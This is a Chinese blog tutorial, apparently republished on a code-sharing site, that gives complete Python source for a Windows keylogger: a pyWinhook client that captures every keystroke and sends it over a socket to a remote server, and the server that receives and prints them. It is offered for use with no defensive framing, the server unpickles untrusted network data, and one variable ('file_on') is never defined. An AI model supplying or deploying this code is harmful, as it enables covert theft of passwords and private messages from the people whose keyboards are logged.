python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python tensorflow学习之识别单张图片的实现的示例
Feb 09 Python
python3获取两个日期之间所有日期,以及比较大小的实例
Apr 08 Python
python自动截取需要区域,进行图像识别的方法
May 17 Python
PyTorch 1.0 正式版已经发布了
Dec 13 Python
用Python写一个模拟qq聊天小程序的代码实例
Mar 06 Python
django 中QuerySet特性功能详解
Jul 25 Python
tensorflow对图像进行拼接的例子
Feb 05 Python
Python extract及contains方法代码实例
Sep 11 Python
python中pandas对多列进行分组统计的实现
Jun 18 Python
python迷宫问题深度优先遍历实例
Jun 20 Python
Flask使用SQLAlchemy实现持久化数据
Jul 16 Python
Pandas数据结构之Series的使用
Mar 31 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
PHP高手需要要掌握的知识点
2014/08/21 PHP
PHP IDE PHPStorm配置支持友好Laravel代码提示方法
2015/05/12 PHP
JavaScript与HTML结合的基本使用方法整理
2015/10/12 PHP
php生成条形码的图片的实例详解
2017/09/13 PHP
PHP操作Postgresql封装类与应用完整实例
2018/04/24 PHP
css3实现背景模糊的三种方式
2021/03/09 HTML / CSS
javascript仿qq界面的折叠菜单实现代码
2012/12/12 Javascript
jquery中get和post的简单实例
2014/02/04 Javascript
函数式 JavaScript(一)简介
2014/07/07 Javascript
jquery删除指定子元素代码实例
2015/01/13 Javascript
js判断手机和pc端选择不同执行事件的方法
2015/01/30 Javascript
JS+Canvas绘制时钟效果
2020/08/20 Javascript
javascript 注释代码的几种方法总结
2017/01/04 Javascript
浅谈JavaScript正则表达式-非捕获性分组
2017/03/08 Javascript
vue升级之路之vue-router的使用教程
2018/08/14 Javascript
vue实现的组件兄弟间通信功能示例
2018/12/04 Javascript
JavaScript实现Tab选项卡切换
2020/02/13 Javascript
vue 将多个过滤器封装到一个文件中的代码详解
2020/09/05 Javascript
nuxt.js写项目时增加错误提示页面操作
2020/11/05 Javascript
[01:06:19]DOTA2-DPC中国联赛定级赛 LBZS vs SAG BO3第二场 1月8日
2021/03/11 DOTA
python3音乐播放器简单实现代码
2020/04/20 Python
python实现识别手写数字 python图像识别算法
2020/03/23 Python
Python设计模式之命令模式原理与用法实例分析
2019/01/11 Python
解决webdriver.Chrome()报错:Message:'chromedriver' executable needs to be in Path
2019/06/12 Python
Django实现CAS+OAuth2的方法示例
2019/10/30 Python
Sunglasses Shop德国站:欧洲排名第一的太阳镜网站
2017/08/01 全球购物
物流管理毕业生自荐信
2013/10/24 职场文书
工程部经理岗位职责
2013/12/08 职场文书
记帐员岗位责任制
2014/02/08 职场文书
租赁协议书范本
2014/04/22 职场文书
高等教育学专业自荐书
2014/06/17 职场文书
股指期货心得体会
2014/09/13 职场文书
机关作风整顿个人整改措施思想汇报
2014/09/29 职场文书
2015年审计人员工作总结
2015/05/26 职场文书
Pytorch 如何实现LSTM时间序列预测
2021/05/17 Python
SQL Server的存储过程与触发器以及系统函数和自定义函数
2022/04/10 SQL Server